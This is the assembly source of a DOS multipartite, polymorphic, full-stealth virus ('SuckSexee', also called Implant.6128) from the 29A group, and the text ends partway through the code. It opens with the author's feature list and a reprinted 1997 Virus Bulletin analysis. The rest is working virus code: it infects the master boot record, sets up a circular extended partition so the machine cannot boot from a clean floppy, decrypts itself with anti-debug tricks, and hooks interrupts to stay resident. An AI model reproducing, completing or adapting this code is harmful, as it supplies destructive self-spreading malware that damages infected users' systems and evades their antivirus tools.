;
;                                                ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
;   ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
;   ³        SuckSexee Automated Intruder         ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
;   ³    Viral Implant Bio-Coded by GriYo/29A    ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
;   ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
;       Disclaimer:
;       ÄÄÄÄÄÄÄÄÄÄÄ
;       The author is not responsable of any problems caused due
;       to assembly of this file.
;
;       Virus description:
;       ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;       o Residency:
;
;         The virus only goes resident when booting from an infected
;         hard drive or floppy disk.
;         While infecting files the virus uses UMB memory if
;         available.
;
;       o Infection:
;
;         1) Hard drive master-boot-record
;
;            The virus infects the HD MBR using direct port access
;            bypassing some TSR watchdogs and BIOS virus-protection
;            features.
;
;         2) Floppy boot sector
;
;            SuckSexee formats an extra track on floppy and saves there
;            the original BS (for stealth) and its main body.
;
;         3) Files (.COM .EXE and .SYS)
;
;            The virus uses low level system file table.
;            Files are infected on close, get/set attribute, rename,
;            move or upon termination.
;
;       o Stealth:
;
;         This virus is full-stealth, so the system seems to be clean
;         while infected.
;
;         1) Sector level
;
;            Attempts to read the HD MBR or floppy boot sector will result
;            in a clean copy being returned.
;            Attempts to read the sectors were the virus resides will not
;            be permitted.
;
;         2) File level
;
;            Attempts to read an infected file will result in a clean
;            copy being returned, as the virus disinfects files on the
;            fly, including if a debugging tool is used to edit the file.
;
;         3) Others...
;       
;            Directory, search and date/time stealth also supported
;            Whenever win.com is executed, the virus adds some
;            parameters to avoid problems with Windows 32bit disk access.
;
;       o Armoured:
;
;         Attempts to write to the HD MBR or the sectors on which the virus
;         resides will not be permitted, but no error were returned
;         SuckSexee uses extended DOS partition trick, so infected
;         computers will not be able to boot from floppy.
;
;       o Polymorphism:
;
;         SuckSexee is encrypted under two encryption layers utilising a
;         polymorphic engine to generate first decryptor algorithm.
;         Generated polymorphic decryptor contains several conditional and
;         unconditional jumps as well as calls to subroutines and
;         interrupts.
;         The virus is polymorphic in all its infections.
;         This means that SuckSexee is polymorphic on hard drive MBR,
;         floppy boot sectors, .COM files, .EXE files and
;         also .SYS files.
;         While infecting floppy boot sectors the virus reads the
;         decryptor at MBR infection and uses it for each floppy.
;         While infecting files the virus will use the same decryptor
;         for each infected file.
;         If the system is rebooted a new mutation will be used
;         to infect files.
;         SuckSexee uses a timer to avoid multiple mutations in a
;         short period of time.
;
;       o Retro:
;
;         Polymorphic engine uses slow mutation technics (see note above).
;         The virus avoids some self-check executables being infected.
;         SuckSexee waits over 10 min. before it starts infecting files.
;         The virus does not infect files that have V character or
;         digit(s) in their names.
;         Command line parameters force TbScan to use compatibility
;         mode (so files can be stealthed and infected while
;         scanning) and skip memory scanning.
;         The virus encrypts the original MBR for a difficult recovery.
;
;
;       Virus Bulletin speaks
;       ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;       Thanks to mgl for the typing :)
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; VIRUS BULLETIN MAY 1997
;
; Silicon Implants
;
; Igor Muttik
; Dr Solomon's Software Ltd
;
;
; In February this Year, I received some flies which had been
; downloaded from an Internet virus exchange site and
; forwarded to us for analysis.  'Ah, the usual rubbish...', I
; thought; for it is rare to get new (let alone interesting!)
; viruses from such sources - if a file is not already identified
; as containing a known virus, it is usually either a corrupted
; virus, or not a virus at all.  It looked as though this would
; again be the case, but then, amongst  these files, I came
; across a new virus - Implant.6128.
;
; Implant is unusual in many aspects - it has full stealth, and
; is both polymorphic and multi-partite.  Stranger still, it works
; reliably - I have never seen a virus so complex and yet so
; stable. After all, it is both well known and intuitively obvious
; that as software gets more complex, it has more bugs.
;
; In my opinion, this explains perfectly why primitive computer
; viruses (most boot sector and macro infectors) are the most
; common in the wild.  Sophisticated viruses have more bugs,
; and thus have a smaller chance of surviving unnoticed in the
; field. Implant is a rare exception to this general rule.
;
; Returning to the virus' specifics, it is extremely polymorphic.
; The complexity of its decryptor by far exceeds that of
; many other famous polymorphic viruses. It is also extremely
; multi-partite, infecting COM, EXE and SYS files as well as
; the hard disk MBR and floppy boot sectors.
;
; Finally, Implant makes it impossible to boot the computer
; from a clean DOS system diskette: it does this using the
; circular extended partition technique, first seen implemented
; in Rainbow [see VB, September- 1995, P. 12].
;
;
; Initial Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When an infected file is run, or the infected floppy is left in
; the A: drive at boot time, the virus takes control in the
; traditional manner. After it decrypts itself, it checks the
; processor type: if the computer is 8088- or 80286-based (i.e.
; is an XT or an AT).  Implant immediately infects another
; file. However, if the machine is an 80386 or above, the virus
; issues its 'Are you there?' call - Int 12h, CX=029Ah, SI=OBADH,
; DI=FACEh.
;
; If, on return from the call, the SI and DI registers are set to
; DEADH and BABEH respectively (I wonder how many other
; words can be squeezed into 16 bits?) the virus assumes it is
; already active and proceeds to infect a file. Otherwise (if it
; is not already resident), it creates an array of 1024 random
; bytes (which will later be used by the virus' polymorphic
; engine) and passes control to the hard disk infection routine.
; This routine copies the MBR to sector 3 on track 0, and then
; finds the active partition record in the partition table,
; checking whether it is a 16-bit FAT DOS system (that is, the
; type field is set to 4 or 6).
;
; If so, Implant removes the active flag, sets the partition type
; to 5 (Extended DOS partition) and makes the pointer to its
; first sector point to the MBR (creating a so-called 'circular
; extended partition').
;
; Then the virus analyses the code in the MBR: it follows the
; jump chain (if present), and puts its code at the destination
; of the final jump - the virus code is such that it needs to
; leave only 35 bytes in the MBR!  Implant next writes the
; MBR back to disk by direct manipulation of I/0 ports (this
; will make it compatible with IDE and MFM drives, but
; not SCSI).
;
; After the write attempt, the virus rereads the MBR and
; checks whether the checksum of what was read matches
; what was written.  If not, the virus gives up, and passes
; control to the host program.
;
; Then the virus writes its body into 12 sectors on track 0
; starting at sector 4, right after the saved MBR.  Implant does
; not forget to check whether there is sufficient space on
; track 0 - if there are fewer than 13 sectors before the start of
; an active partition, the virus will not infect the hard drive.
; nor modify anything on track 0.
;
; Implant does not recognize itself in the MBR.  It just checks
; whether a resident copy is already present using its 'Are you
; there?' call.  If it is not in memory, it loads the MBR and
; scans for an active partition.  An already-infected MBR will
; not have this, so the infection will fail at this point - there is
; no risk of multiple infection.
;
; There are two main branches in the virus code. If the virus is
; run from a file (COM, EXE or SYS), control transfers to the
; host and nothing is left resident in memory. If, however, the
; virus is run from a boot sector (either that of a floppy or the
; hard disk's MBR), it seizes 7KB of DOS memory (by the
; familiar technique of reducing the word at memory offset
; [0:413h]), copies itself to the newly-created hole in memory
; just beneath the top of conventional memory, and intercepts
; some system interrupts.
;
; The method by which the virus infects the hard drive means
; that an MS-DOS system floppy cannot be used to clean-boot
; an Implant-infected PC. The circular extended partition will
; make MS-DOS v5 onwards, Novell DOS 7, and DR-DOS 6
; hang.  Fortunately, it is still possible to use versions 3.30 or
; 4.0 of MS-DOS, or PC-DOS 5 and 6, which will boot
; without problem.  After booting, however, drive C will still,
; of course, be inaccessible: attempts to access this drive will
; result in the error 'Invalid drive specification'.
;
;
; Booting the Infected System
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When booting, the virus hooks interrupts 12h (self-recogni-
; tion and stealth), 13h (disk I/0: for stealth and to infect
; floppies), and 1Ch (timer; to intercept DOS interrupts later
; on).  All three are used to intercept Int 21 h: the virus can do
; this in three ways:
;
; - thirty seconds after the computer is booted (checked
;   using Int 1Ch)
;
; - when an infected program is run: when such a proaram
;  issues the 'Are you there?' Int 12h call (see above) the
;  resident copy of a virus will immediately hook Int 21h
;
; - when a program attempts to write to disk using Int 13h
;
; The virus has specific knowledge of some versions of DOS.
; and tries to get the real DOS entry point by following the
; jumps and doing some checks.  If an attempt to get the real
; entry point fails, the virus simply uses the one taken from
; the Interrupt Vector Table.
;
; When the virus has hooked Int 21h, it monitors the following
; DOS functions: 2Ah (Get date; used in a payload), 4B00h
; (Exec), 3Eh (Close), 43h (Attribute), 56h (Rename/Move),
; 4Ch (Terminate), 3Dh (Open), 6Ch (Open/Create). 11h/12h
; (Findfirst/Findnext FCB), 4Eh/4Fh (Findfirst/Findnext), 3Fh
; (Read), 4B01h (Load), 40h (Write), 5700h (Get timestamp),
; 5701h (Set timestamp).  These functions are used to infect
; files and conceal infection (full stealth).
;
; During infection, the virus also intercepts Int 24h (Critical
; error handler) to suppress error messaaes.
;
;
; Infection of Files
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus infects files as they are run or opened. However, if
; any infected files are copied to diskette, the files on the
; diskette will be clean (despite the fact that the diskette's
; boot sector is infected) - Implant is 'full stealth'.  Running
; the file from the floppy does not infect it either. How, then.
; are infected files passed between users?
;
; The first thing the virus checks when any program calls any
; monitored DOS function is the program's name, paying
; special attention to files named AR*.*, PK*.*. LH*.*, and
; BA*.* (archiving utilities, specifically,  ARJ, PKZIP,  LHA
; and BACKUP). This information is used to turn off stealth
; mode when any of these archivers is executed.  Thus, the
; virus ensures all executable files are packed into archives
; and backups are infected, whether on floppy or hard disk.
;
; Further, it will not infect files called TB*.*, SC*.*, F-*.*,
; GU*.*, nor those containing the letters V, MO, IO,  DO,  IB
; or the digits 0-9.  Thus the virus avoids a wide variety of
; anti-virus programs,  DOS system files, and goat files used
; by virus researchers (which usually have digits in the name).
;
; Implant infects only files with the extensions COM,  EXE
; and SYS.  COM and SYS files longer than 52801 bytes are
; not infected.  Files with time-stamps set to 62 seconds are
; assumed already infected - this is the virus' infection stamp.
;
; To check whether a file is an EXE file, the virus adds the
; first two bytes of the file (for an EXE file, 4D5A or 5A4D)
; together: if the sum is A7h (A7h=4Dh+5Ah), the file is
; assumed to have an EXE header.  Simple and elegant.
;
; When resident, Implant denies access to files named
; CHKLIS*.*. These patterns match CHKLIST.MS or
; CHKLIST.CPS, and prevent Microsoft's and Central
; Point's scanners from working properly.
;
; If WIN.COM is executed, the virus adds a parameter ID:F to
; the program's command-line. This argument turns off
; Windows' 32-bit disk access, which enables infection of
; floppies accessed from within Windows.  If TBSCAN is
; executed, the virus adds the command-line parameters 'co'
; and 'nm', which instruct the program to skip the memory
; cheek and not use direct disk access ('compatibility mode').
;
;
; Infection of Floppies
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The floppy disk boot sector is infected in much the same
; manner as the MBR.  The virus follows the jump chain in the
; floppy boot sector and writes 35 bytes of its code there. The
; encrypted polymorphic virus body is placed on a floppy on
; an additional track (number 80) which it first formats. This
; track will have 13 sectors: the first will carry a copy of an
; original boot sector: the rest will be occupied by the
; encrypted virus body.  To infect floppy disks,  Implant uses
; Int 40h, which usually points to BIOS code.
;
; The virus infects only 1.2MB or 1.44MB floppies.  It checks
; the total amount of sectors on the media (the word at offset
; 13h in the boot sector) and proceeds with infection only if
; the number of sectors is B40h or 960h (2880 or 2400,
; respectively). For self-recognition, the virus cheeks the two
; letters at offset 21 h from the last jump in the chain (if any):
; all infected floppies contain the marker 'CR' at this point.
;
; There is a bug in floppy infection: if the boot sector starts
; with a JMP (opcode E9h, not usual EBh), the virus code is
; inserted 1 byte lower than necessary. Still, the virus is able
; to work as the first instruction of its code is CLI, which
; takes just 1 byte and is not absolutely necessary.
;
;
; Polymorphic Engine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant's polymorphic engine is very powerful.  Suffice it to
; say that it supports subroutines, conditional jumps with non-
; zero displacement, and memory writes.  This engine takes a
; good half of the virus' code.
;
; The engine makes extensive use of the table of random bytes,
; created during the initialization phase. The approach of
; using a table generated just once during the installation of
; the virus into memory classifies Implant as a slow polymor-
; phic.  This means that the variety of the polymorphic
; decryptors is artificially limited until the next reboot of the
; PC. It poses some problems for anti-virus researchers, as it
; becomes difficult to create enough files infected in enough
; different ways to test detection.
;
; Files are encrypted in two layers: the first is polymorphic:
; the second is simple XOR encryption with a slightly
; variable decrylptor.  Some attempts are made to prevent
; tracing the second decryptor, but no anti-emulation tricks
; are used.
;
;
; Stealth Properties
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant stealths its modifications to the MBR and FBR.  The
; virus also does not allow writes to the sectors on track 0
; which are used by the MBR copy and the virus body
; (sectors 03h to 0Fh).
;
; If any of the programs ME*.*. CH*.*, SY*.*, SM*.* is run
; (these patterns appear to be intended to match MEM.
; CHKDSK.  SYSINFO and SMAP) the virus spoofs the value
; returned by Int 12h (free RAM) by adding 7K to the real
; figure. Hence, the amount of memory is reported as it was
; before infection.
;
; The stealthing of infected files is more sophisticated than
; that of the MBR and floppy boot sector.  Most modern
; stealth viruses do 'semi-stealth' (just the change in the file
; size is concealed). Implant, on the other hand, is full stealth,
; so when the virus is active. even integrity checking pro-
; grams will not report any file modifications.
;
; A common problem to all stealth viruses is how, to suppress
; error messagres from the CHKDSK utility.  When run on a
; system infected with a stealth virus.  CHKDSK reports
; allocation errors, because reported file sizes do not match
; their actual sizes (i.e. the reported size in bytes does not
; match the number of clusters in the file allocation table).
; Implant recognizes that CHKDSK.EXE (or a similar utility)
; is being run, and turns off its stealth routine whilst the disk
; check is performed.
;
; If there is any doubt as to whether or not a PC is infected by
; Implant, the easiest way to check is to create a file called
; CHKLIST.  If there are problems accessing this file, the virus
; is almost certainly resident.  To check if a particular execut-
; able is infected, it is probably easiest to pack the file into an
; archive and check whether the size inside is the same as
; outside. If not, the file is infected.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; Implant's payload triggers on 4 June. after any program asks
; for the system date.  The payload is buggy: it was apparently
; supposed to destroy the contents of track 0, rendering the
; system unusable, but the virus itself rejects the attempt to
; overwrite the infected MBR ! So, the destructive part of the
; payload does not work.
;
; After this unsuccessful attempt to zap itself, the virus slowly,
; types the following text in the middle of the screen (green
; letters on a black background, accompanied by a rattling,
; perhaps meant to resemble the noise of a typewriters):
;
;
;      <<< SuckSexee Automated Intruder >>>
;      Viral Implant Bio-Coded by GriYo/29A
;
;
; Then the PC freezes.  After a reboot (until you chance the
; CMOS clock setting) the payload will eventually trigger
; agrain because some program, sooner or later, will try to get
; the system date - and the cycle will begin again...
;
;
; Summary
; ÄÄÄÄÄÄÄ
; Implant impressed me.  It is definitely written by a talented
; person - it is a pity, his skills are used so destructively. I
; recently received another interesting virus (Gollum.7167)
; from the same author (carrying the signature 'GriYo/29A'):
; it spreads via infected standard DOS EXE files which drop a
; VxD in Windows'SYSTEM directory (called GOLLUM.386)
; and registers it in SYSTEM.INI. When Windows is started,
; the VxD becomes active and will infect DOS EXE files run
; in the DOS box.  This virus again shows that GriYo uses
; approaches that are neither common nor trivial.
;
; I wonder if this is talent comparable to the Dark Avenger or
; the author of One Half?  I sincerely hope such a gifted
; person will find better thing to do than write viruses.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;       And finally...
;       ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;       Greetings go to the following generation:
;
;       AúGuS & Company ............ SuckSexee people rulez
;       Absolute Overlord .......... PolyMorphic OpCode GENerator
;       Mister Sandman ............. Mississippi ruleeez, hahaha!
;       All the 29Aers ............. 29A 3LiT3 ;)
;
;       And all the replicants usually at #virus

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Let's have some fun!                                                      ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

                .286
launcher        segment para 'CODE'
                assume cs:launcher,ds:launcher,es:launcher,ss:launcher
                org 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Equates, equates, equates...                                              ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

                ;Virus size in infections
inf_byte_size   equ virus_data_buffer-virus_entry                    

                ;Virus infection size in parragraphs
inf_para_size   equ (inf_byte_size+0Fh)/0010h

                ;Virus infection size in sectors
inf_sect_size   equ (inf_byte_size+01FFh)/0200h

                ;Virus size in memory
mem_byte_size   equ virus_end_buffer-virus_entry                    

                ;Virus size in memory in Kb
mem_kb_size     equ (mem_byte_size+03FFh)/0400h

                ;Virus size in memory in parragraphs
mem_para_size   equ (mem_byte_size+0Fh)/0010h

                ;Decryptor size in bytes
decryptor       equ virus_body-virus_entry

                ;Second decryptor size in bytes
second_size     equ second_body-virus_entry

                ;Boot code size in bytes
boot_size       equ boot_end-boot_code

                ;File header size
file_header_size equ 1Ch

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus entry-point for all its targets                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

virus_entry:    
                ;Space for decryptor or random data block
                db 0400h dup (90h)
virus_body:        
                ;Get delta offset stored on infection ( mov bp,xxxx )
                db 0BDh
file_delta      dw 0000h

                ;Save segment registers
                push ds
                push es

                ;Save bx ( pointer to parameter block when calling .sys )
                push bx

                ;Setup segment regs
                mov ax,cs
                mov ds,ax
                mov es,ax

avoid_decryptor:
                ;Avoid second decryptor on first virus generation
                jmp short second_body

                ;Perform second decryption loop
                mov cx,inf_byte_size-second_size+01h

                ;Get pointer to decryption zone and return address
                lea ax,word ptr [second_body][bp]

                ;Save return address
                push ax

                ;Load pointers
                mov si,ax
                mov di,ax

                ;Get decryption key
                mov bl,byte ptr cs:[clave_crypt][bp]
second_loop:
                ;Decrypt one byte
                cld
                lodsb
                sub al,bl

                ;Do shit with stack (will fool some emulators)
                push ax
                pop dx
                cli
                mov ax,0002h
                sub sp,ax
                sti
                pop ax                
                cmp ax,dx
                jne second_loop

                ;Store decrypted byte
                cld
                stosb

                ;Call to int 03h for anti debug
                int 03h

                ;Modify key
                inc bl

                loop second_loop

                ;Clear prefetch
                db 0EBh,00h        
                ;Jump to decryption zone
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Start of double-encrypted area                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

second_body:
                ;Check cpu type (SuckSexee needs 286+)
                mov al,02h
                mov cl,21h
                shr al,cl
                or al,al
                jz control_back

                ;Installation check
                mov si,00BADh
                mov di,0FACEh
                xor cx,cx

                ;Check if running in mbr, floppy boot sector or .sys file
                cmp word ptr ds:[exit_address][bp],offset exit_exe - \
                                                   offset host_ret
                je exe_com_installation
                cmp word ptr ds:[exit_address][bp],offset exit_com - \
                                                   offset host_ret
                jne others_installation

exe_com_installation:        

                ;This will advertise to the already resident virus that
                ;its time to hook int 21h if isnt hooked
                mov cx,029Ah

others_installation:        

                ;Installation check works with int 12h coz can be called
                ;from mbr or from files... and also coz id like number 12h
                int 12h
                cmp si,0DEADh
                jne not_resident
                cmp di,0BABEh
                jne not_resident

control_back:
                ;Get control back to infected target
                db 0EBh,00h        
                ;Load offset of exit address into bx
                db 0E9h
exit_address    dw offset exit_launcher - offset host_ret

host_ret        equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect hd mbr                                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

not_resident:

                ;Enable second decryption loop
                mov word ptr [avoid_decryptor][bp],9090h

                ;Generate a block of random data over decryptor routine
                ;(that routine havent any use at this point so we can use
                ;its memory space)
                ;Polymorphic engine will use this data later for its
                ;slow mutation procedures
                ;This is better than other slow mutation engines i saw
                ;coz it produces several mutations of the virus on the
                ;same machine, but not enough mutations for
                ;analisys
                
                mov di,bp
                mov cx,decryptor
fill_rnd_1:
                call random_number
                cld
                stosb
                loop fill_rnd_1

                ;Reset disk controler
                xor ah,ah
                mov dx,0080h
                int 13h

                ;Read mbr
                mov ax,0201h
                mov cx,0001h
                lea bx,word ptr [virus_copy][bp]
                int 13h
                jnc ok_read_mbr
                jmp go_memory

ok_read_mbr:
                ;Check for mbr marker
                cmp word ptr ds:[bx+01FEh],0AA55h
                jne no_mbr_infection

                ;Search active partition
                lea si,word ptr [virus_copy+01BEh][bp]
                mov cl,04h
search_active:
                cmp byte ptr ds:[si],dl
                je found_active
                add si,10h
                loop search_active

no_mbr_infection:        

                ;Exit if no active partition found
                ;This is also the way on witch the virus marks
                ;infected mbr
                jmp go_memory
found_active:

                ;Check partition type
                mov al,byte ptr ds:[si+04h]

                ;Dos 16bit-fat?
                cmp al,04h
                je partition_type_ok

                ;Dos 4.0+ 32Mb?
                cmp al,06h
                je partition_type_ok

                ;Exit if virus cant handle such partition type
                jmp go_memory

partition_type_ok:

                ;Check if enougth sectors before partition
                cmp byte ptr ds:[si+08h],inf_sect_size+01h        
                jb go_memory

                ;Crypt original mbr
                call crypt_sector

                ;Write original mbr for stealth
                mov ax,0301h
                mov cl,03h
                int 13h
                jc go_memory

                ;Restore sector
                call crypt_sector

                ;By using this trick the computer cant be booted
                ;from a system floppy

                ;Set partition type as extended dos partition
                mov byte ptr ds:[si+04h],05h

                ;Disable partition and set head to 00h
                xor ax,ax
                mov word ptr ds:[si],ax
                inc ax

                ;Set partition starting at cilinder 00h sector 01h
                mov word ptr ds:[si+02h],ax

                ;Save position of virus body in hd
                ;(side 00h track 00h sector 04h)
                inc cl
                mov word ptr ds:[load_cx][bp],cx

                ;Get position of code into mbr
                call get_position

                ;Move virus loader over boot sector code
                lea si,word ptr [boot_code][bp]
                mov cx,boot_size
                cld
                rep movsb

                ;Write infected mbr
                call hd_write_port

                ;Save exit address
                push word ptr ds:[exit_address][bp]

                ;This will tell the virus that this is a mbr infection
                mov word ptr ds:[exit_address][bp],offset exit_mbr - \
                                                   offset host_ret

                ;Clear dos running switch
                sub ax,ax
                mov byte ptr ds:[running_sw][bp],al

                ;Clear dos loaded flag
                mov byte ptr ds:[dos_flag][bp],al

                ;Clear file infection flag
                mov byte ptr ds:[file_infection_flag][bp],al

                ;Reset virus timer
                mov word ptr ds:[virus_timer][bp],ax

                ;Set delta offset for mbr poly engine
                mov word ptr ds:[file_delta][bp],7E00h

                ;Save pointer to polymorphic engine working buffer
                mov word ptr ds:[poly_working_off][bp],bx
                mov word ptr ds:[poly_working_seg][bp],es

                ;Perform encryption
                call do_encrypt

                ;Write virus body
                mov ax,0300h+inf_sect_size
                mov cl,04h
                int 13h

                ;Restore exit address
                pop word ptr ds:[exit_address][bp]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Go memory resident if running from mbr or floppy boot sector              ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

go_memory:
                ;Running from hd mbr or floppy bs?
                cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
                                                   offset host_ret
                jne running_in_file

                ;Allocate some bios memory
                sub di,di
                mov es,di
                sub word ptr es:[0413h],mem_kb_size
                mov ax,word ptr es:[0413h]

                ;Copy virus to allocated memory
                mov cl,06h
                shl ax,cl
                mov es,ax
                mov si,bp
                mov cx,inf_byte_size
                cld
                rep movsb

                ;Hook ints
                push es
                pop ds

                ;Get int 12h vector
                mov al,12h
                call get_int

                ;Save old int 12h
                mov word ptr ds:[old12h_off],bx
                mov word ptr ds:[old12h_seg],es

                ;Hook int 12h
                mov dx,offset my_int12h
                call set_int

                ;Get int 13h vector
                inc al
                call get_int

                ;Save old int 13h
                mov word ptr ds:[old13h_off],bx
                mov word ptr ds:[old13h_seg],es

                ;Hook int 13h
                mov dx,offset my_int13h
                call set_int

                ;Get int 1Ch vector
                mov al,1Ch
                call get_int

                ;Save old int 1Ch
                mov word ptr ds:[old1Ch_off],bx
                mov word ptr ds:[old1Ch_seg],es

                ;Hook int 1Ch
                mov dx,offset my_int1Ch
                call set_int

                ;Get int 40h vector
                mov al,40h
                call get_int

                ;Save old int 40h
                mov word ptr ds:[old40h_off],bx
                mov word ptr ds:[old40h_seg],es

running_in_file:
                ;Return to boot sequence
                jmp control_back

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from infected hd mbr or floppy boot sector                           ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

exit_mbr:
                ;Get .sys parameter block pointer out of stack
                pop bx
                ;Restore segment registers
                pop es
                pop ds

                ;Reboot system
                int 19h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .sys infected files                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

exit_sys:
                ;Point to old .sys header ( offset of strategy routine address )
                lea si,word ptr [old_header+0006h][bp]
                mov di,0006h
                cld
                lodsw
                stosw

                ;Get .sys parameter block pointer
                pop bx
                ;Restore segment registers
                pop es
                pop ds

                ;Get control back to strategy subroutine
                push cs
                push ax

                ;Clear some regs
                xor ax,ax
                xor cx,cx
                xor dx,dx
                xor si,si
                xor di,di
                xor bp,bp
                retf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .com infected files                                             ³
